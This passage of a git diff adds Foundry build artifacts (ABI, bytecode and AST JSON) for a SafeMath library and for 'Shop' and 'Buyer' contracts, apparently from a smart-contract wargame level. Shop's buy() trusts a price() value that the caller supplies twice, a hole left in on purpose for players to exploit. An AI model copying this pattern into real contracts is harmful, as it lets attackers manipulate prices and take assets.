memory"}],"id":451,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"7165:7:1","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":456,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"7165:28:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":457,"nodeType":"ExpressionStatement","src":"7165:28:1"},{"expression":{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":460,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"id":458,"name":"a","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":442,"src":"7210:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"%","rightExpression":{"argumentTypes":null,"id":459,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":444,"src":"7214:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"7210:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":450,"id":461,"nodeType":"Return","src":"7203:12:1"}]},"documentation":{"id":440,"nodeType":"StructuredDocumentation","src":"6420:635:1","text":" @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),\n reverting with custom message when dividing by zero.\n CAUTION: This function is deprecated because it requires allocating memory for the error\n message unnecessarily. For custom revert reasons use {tryMod}.\n Counterpart to Solidity's `%` operator. This function uses a `revert`\n opcode (which leaves remaining gas untouched) while Solidity uses an\n invalid opcode to revert (consuming all remaining gas).\n Requirements:\n - The divisor cannot be zero."},"implemented":true,"kind":"function","modifiers":[],"name":"mod","overrides":null,"parameters":{"id":447,"nodeType":"ParameterList","parameters":[{"constant":false,"id":442,"mutability":"mutable","name":"a","nodeType":"VariableDeclaration","overrides":null,"scope":463,"src":"7073:9:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":441,"name":"uint256","nodeType":"ElementaryTypeName","src":"7073:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"},{"constant":false,"id":444,"mutability":"mutable","name":"b","nodeType":"VariableDeclaration","overrides":null,"scope":463,"src":"7084:9:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":443,"name":"uint256","nodeType":"ElementaryTypeName","src":"7084:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"},{"constant":false,"id":446,"mutability":"mutable","name":"errorMessage","nodeType":"VariableDeclaration","overrides":null,"scope":463,"src":"7095:26:1","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":445,"name":"string","nodeType":"ElementaryTypeName","src":"7095:6:1","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"value":null,"visibility":"internal"}],"src":"7072:50:1"},"returnParameters":{"id":450,"nodeType":"ParameterList","parameters":[{"constant":false,"id":449,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":463,"src":"7146:7:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":448,"name":"uint256","nodeType":"ElementaryTypeName","src":"7146:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"}],"src":"7145:9:1"},"scope":464,"stateMutability":"pure","virtual":false,"visibility":"internal"}],"abstract":false,"baseContracts":[],"contractDependencies":[],"contractKind":"library","documentation":{"id":112,"nodeType":"StructuredDocumentation","src":"66:563:1","text":" @dev Wrappers over Solidity's arithmetic operations with added overflow\n checks.\n Arithmetic operations in Solidity wrap on overflow. This can easily result\n in bugs, because programmers usually assume that an overflow raises an\n error, which is the standard behavior in high level programming languages.\n `SafeMath` restores this intuition by reverting the transaction when an\n operation overflows.\n Using this library instead of the unchecked operations eliminates an entire\n class of bugs, so it's recommended to use it always."},"fullyImplemented":true,"linearizedBaseContracts":[464],"name":"SafeMath","scope":465}],"license":"MIT"},"id":1} \ No newline at end of file diff --git a/contracts/out/Shop.sol/Buyer.json b/contracts/out/Shop.sol/Buyer.json new file mode 100644 index 000000000..3a29506d9 --- /dev/null +++ b/contracts/out/Shop.sol/Buyer.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"price","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"price()":"a035b1fe"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"name\":\"price\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/Shop.sol\":\"Buyer\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/levels/Shop.sol\":{\"keccak256\":\"0xd500cab3a2923fc2668d4cc3e42ad05c398fe338ba29f3761f5a44f98eb87db0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a15d4d221500fb33d4f7f0da5d81f978f755cfc61bb71840063a9f64906c6337\",\"dweb:/ipfs/QmRH8dNjPDvQe8Pbj1HWJqTSJnudrkmBZ9dWKSi7UozRtB\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[],"stateMutability":"view","type":"function","name":"price","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/Shop.sol":"Buyer"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/levels/Shop.sol":{"keccak256":"0xd500cab3a2923fc2668d4cc3e42ad05c398fe338ba29f3761f5a44f98eb87db0","urls":["bzz-raw://a15d4d221500fb33d4f7f0da5d81f978f755cfc61bb71840063a9f64906c6337","dweb:/ipfs/QmRH8dNjPDvQe8Pbj1HWJqTSJnudrkmBZ9dWKSi7UozRtB"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/Shop.sol","id":55082,"exportedSymbols":{"Buyer":[55043],"Shop":[55081]},"nodeType":"SourceUnit","src":"32:375:106","nodes":[{"id":55037,"nodeType":"PragmaDirective","src":"32:23:106","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":55043,"nodeType":"ContractDefinition","src":"57:73:106","nodes":[{"id":55042,"nodeType":"FunctionDefinition","src":"79:49:106","nodes":[],"functionSelector":"a035b1fe","implemented":false,"kind":"function","modifiers":[],"name":"price","nameLocation":"88:5:106","parameters":{"id":55038,"nodeType":"ParameterList","parameters":[],"src":"93:2:106"},"returnParameters":{"id":55041,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55040,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":55042,"src":"119:7:106","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":55039,"name":"uint256","nodeType":"ElementaryTypeName","src":"119:7:106","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"118:9:106"},"scope":55043,"stateMutability":"view","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"Buyer","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[55043],"name":"Buyer","nameLocation":"67:5:106","scope":55082,"usedErrors":[],"usedEvents":[]},{"id":55081,"nodeType":"ContractDefinition","src":"132:274:106","nodes":[{"id":55046,"nodeType":"VariableDeclaration","src":"152:26:106","nodes":[],"constant":false,"functionSelector":"a035b1fe","mutability":"mutable","name":"price","nameLocation":"167:5:106","scope":55081,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":55044,"name":"uint256","nodeType":"ElementaryTypeName","src":"152:7:106","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":{"hexValue":"313030","id":55045,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"175:3:106","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"100"},"visibility":"public"},{"id":55048,"nodeType":"VariableDeclaration","src":"184:18:106","nodes":[],"constant":false,"functionSelector":"e852e741","mutability":"mutable","name":"isSold","nameLocation":"196:6:106","scope":55081,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":55047,"name":"bool","nodeType":"ElementaryTypeName","src":"184:4:106","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"public"},{"id":55080,"nodeType":"FunctionDefinition","src":"209:195:106","nodes":[],"body":{"id":55079,"nodeType":"Block","src":"231:173:106","nodes":[],"statements":[{"assignments":[55053],"declarations":[{"constant":false,"id":55053,"mutability":"mutable","name":"_buyer","nameLocation":"247:6:106","nodeType":"VariableDeclaration","scope":55079,"src":"241:12:106","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Buyer_$55043","typeString":"contract Buyer"},"typeName":{"id":55052,"nodeType":"UserDefinedTypeName","pathNode":{"id":55051,"name":"Buyer","nameLocations":["241:5:106"],"nodeType":"IdentifierPath","referencedDeclaration":55043,"src":"241:5:106"},"referencedDeclaration":55043,"src":"241:5:106","typeDescriptions":{"typeIdentifier":"t_contract$_Buyer_$55043","typeString":"contract Buyer"}},"visibility":"internal"}],"id":55058,"initialValue":{"arguments":[{"expression":{"id":55055,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"262:3:106","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":55056,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"266:6:106","memberName":"sender","nodeType":"MemberAccess","src":"262:10:106","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":55054,"name":"Buyer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55043,"src":"256:5:106","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Buyer_$55043_$","typeString":"type(contract Buyer)"}},"id":55057,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"256:17:106","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Buyer_$55043","typeString":"contract Buyer"}},"nodeType":"VariableDeclarationStatement","src":"241:32:106"},{"condition":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":55066,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":55063,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":55059,"name":"_buyer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55053,"src":"288:6:106","typeDescriptions":{"typeIdentifier":"t_contract$_Buyer_$55043","typeString":"contract Buyer"}},"id":55060,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"295:5:106","memberName":"price","nodeType":"MemberAccess","referencedDeclaration":55042,"src":"288:12:106","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_uint256_$","typeString":"function () view external returns (uint256)"}},"id":55061,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"288:14:106","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"id":55062,"name":"price","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55046,"src":"306:5:106","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"288:23:106","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"id":55065,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"315:7:106","subExpression":{"id":55064,"name":"isSold","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55048,"src":"316:6:106","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"288:34:106","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":55078,"nodeType":"IfStatement","src":"284:114:106","trueBody":{"id":55077,"nodeType":"Block","src":"324:74:106","statements":[{"expression":{"id":55069,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":55067,"name":"isSold","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55048,"src":"338:6:106","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"74727565","id":55068,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"347:4:106","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"src":"338:13:106","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":55070,"nodeType":"ExpressionStatement","src":"338:13:106"},{"expression":{"id":55075,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":55071,"name":"price","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55046,"src":"365:5:106","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":55072,"name":"_buyer","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55053,"src":"373:6:106","typeDescriptions":{"typeIdentifier":"t_contract$_Buyer_$55043","typeString":"contract Buyer"}},"id":55073,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"380:5:106","memberName":"price","nodeType":"MemberAccess","referencedDeclaration":55042,"src":"373:12:106","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_uint256_$","typeString":"function () view external returns (uint256)"}},"id":55074,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"373:14:106","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"365:22:106","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":55076,"nodeType":"ExpressionStatement","src":"365:22:106"}]}}]},"functionSelector":"a6f2ae3a","implemented":true,"kind":"function","modifiers":[],"name":"buy","nameLocation":"218:3:106","parameters":{"id":55049,"nodeType":"ParameterList","parameters":[],"src":"221:2:106"},"returnParameters":{"id":55050,"nodeType":"ParameterList","parameters":[],"src":"231:0:106"},"scope":55081,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"Shop","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[55081],"name":"Shop","nameLocation":"141:4:106","scope":55082,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":106} \ No newline at end of file diff --git a/contracts/out/Shop.sol/Shop.json b/contracts/out/Shop.sol/Shop.json new file mode 100644 index 000000000..dffbf1c0f --- /dev/null +++ b/contracts/out/Shop.sol/Shop.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"buy","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"isSold","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"price","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"}],"bytecode":{"object":"0x608060405260645f55348015610013575f80fd5b506101fa806100215f395ff3fe608060405234801561000f575f80fd5b506004361061003f575f3560e01c8063a035b1fe14610043578063a6f2ae3a1461005e578063e852e74114610068575b5f80fd5b61004b5f5481565b6040519081526020015b60405180910390f35b610066610085565b005b6001546100759060ff1681565b6040519015158152602001610055565b5f3390505f548173ffffffffffffffffffffffffffffffffffffffff1663a035b1fe6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100d4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906100f891906101ad565b10158015610109575060015460ff16155b156101aa576001805460ff191681179055604080517fa035b1fe000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff83169163a035b1fe9160048083019260209291908290030181865afa158015610183573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101a791906101ad565b5f555b50565b5f602082840312156101bd575f80fd5b505191905056fea26469706673582212200a97880151165a17e1fcee7bfad4772e4bf9497c4fd3dd9e214ae1521abb642364736f6c63430008180033","sourceMap":"132:274:106:-:0;;;175:3;152:26;;132:274;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f80fd5b506004361061003f575f3560e01c8063a035b1fe14610043578063a6f2ae3a1461005e578063e852e74114610068575b5f80fd5b61004b5f5481565b6040519081526020015b60405180910390f35b610066610085565b005b6001546100759060ff1681565b6040519015158152602001610055565b5f3390505f548173ffffffffffffffffffffffffffffffffffffffff1663a035b1fe6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100d4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906100f891906101ad565b10158015610109575060015460ff16155b156101aa576001805460ff191681179055604080517fa035b1fe000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff83169163a035b1fe9160048083019260209291908290030181865afa158015610183573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101a791906101ad565b5f555b50565b5f602082840312156101bd575f80fd5b505191905056fea26469706673582212200a97880151165a17e1fcee7bfad4772e4bf9497c4fd3dd9e214ae1521abb642364736f6c63430008180033","sourceMap":"132:274:106:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;152:26;;;;;;;;;160:25:155;;;148:2;133:18;152:26:106;;;;;;;;209:195;;;:::i;:::-;;184:18;;;;;;;;;;;;361:14:155;;354:22;336:41;;324:2;309:18;184::106;196:187:155;209:195:106;241:12;262:10;241:32;;306:5;;288:6;:12;;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:23;;:34;;;;-1:-1:-1;316:6:106;;;;315:7;288:34;284:114;;;347:4;338:13;;-1:-1:-1;;338:13:106;;;;;373:14;;;;;;;;:12;;;;;;:14;;;;;;;;;;;;;;:12;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;365:5;:22;284:114;231:173;209:195::o;388:184:155:-;458:6;511:2;499:9;490:7;486:23;482:32;479:52;;;527:1;524;517:12;479:52;-1:-1:-1;550:16:155;;388:184;-1:-1:-1;388:184:155:o","linkReferences":{}},"methodIdentifiers":{"buy()":"a6f2ae3a","isSold()":"e852e741","price()":"a035b1fe"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"name\":\"buy\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"isSold\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"price\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/Shop.sol\":\"Shop\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/levels/Shop.sol\":{\"keccak256\":\"0xd500cab3a2923fc2668d4cc3e42ad05c398fe338ba29f3761f5a44f98eb87db0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a15d4d221500fb33d4f7f0da5d81f978f755cfc61bb71840063a9f64906c6337\",\"dweb:/ipfs/QmRH8dNjPDvQe8Pbj1HWJqTSJnudrkmBZ9dWKSi7UozRtB\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"buy"},{"inputs":[],"stateMutability":"view","type":"function","name":"isSold","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"price","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/Shop.sol":"Shop"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/levels/Shop.sol":{"keccak256":"0xd500cab3a2923fc2668d4cc3e42ad05c398fe338ba29f3761f5a44f98eb87db0","urls":["bzz-raw://a15d4d221500fb33d4f7f0da5d81f978f755cfc61bb71840063a9f64906c6337","dweb:/ipfs/QmRH8dNjPDvQe8Pbj1HWJqTSJnudrkmBZ9dWKSi7UozRtB"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/Shop.sol","id":55082,"exportedSymbols":{"Buyer":[55043],"Shop":[55081]},"nodeType":"SourceUnit","src":"32:375:106","nodes":[{"id":55037,"nodeType":"PragmaDirective","src":"32:23:106","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":55043,"nodeType":"ContractDefinition","src":"57:73:106","nodes":[{"id":55042,"nodeType":"FunctionDefinition","src":"79:49:106","nodes":[],"functionSelector":"a035b1fe","implemented":false,"kind":"function","modifiers":[],"name":"price","nameLocation":"88:5:106","parameters":{"id":55038,"nodeType":"ParameterList","parameters":[],"src":"93:2:106"},"returnParameters":{"id":55041,"nodeType":"ParameterList","parameters":[{"constant":false,"id":55040,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":55042,"src":"119:7:106","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":55039,"name":"uint256","nodeType":"ElementaryTypeName","src":"119:7:106","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"118:9:106"},"scope":55043,"stateMutability":"view","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"Buyer","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[55043],"name":"Buyer","nameLocation":"67:5:106","scope":55082,"usedErrors":[],"usedEvents":[]},{"id":55081,"nodeType":"ContractDefinition","src":"132:274:106","nodes":[{"id":55046,"nodeType":"VariableDeclaration","src":"152:26:106","nodes":[],"constant":false,"functionSelector":"a035b1fe","mutability":"mutable","name":"price","nameLocation":"167:5:106","scope":55081,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":55044,"name":"uint256","nodeType":"ElementaryTypeName","src":"152:7:106","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":{"hexValue":"313030","id":55045,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"175:3:106","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"100"},"visibility":"public"},{"id":55048,"nodeType":"VariableDeclaration","src":"184:18:106","nodes":[],"constant":false,"functionSelector":"e852e741","mutability":"mutable","name":"isSold","nameLocation":"196:6:106","scope":55081,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":55047,"name":"bool","nodeType":"ElementaryTypeName","src":"184:4:106","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"public"},{"id":55080,"nodeType":"FunctionDefinition","src":"209:195:106","nodes":[],"body":{"id":55079,"nodeType":"Block","src":"231:173:106","nodes":[],"statements":[{"assignments":[55053],"declarations":[{"constant":false,"id":55053,"mutability":"mutable","name":"_buyer","nameLocation":"247:6:106","nodeType":"VariableDeclaration","scope":55079,"src":"241:12:106","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Buyer_$55043","typeString":"contract Buyer"},"typeName":{"id":55052,"nodeType":"UserDefinedTypeName","pathNode":{"id":55051,"name":"Buyer","nameLocations":["241:5:106"],"nodeType":"IdentifierPath","referencedDeclaration":55043,"src":"241:5:106"},"referencedDeclaration":55043,"src":"241:5:106","typeDescriptions":{"typeIdentifier":"t_contract$_Buyer_$55043","typeString":"contract 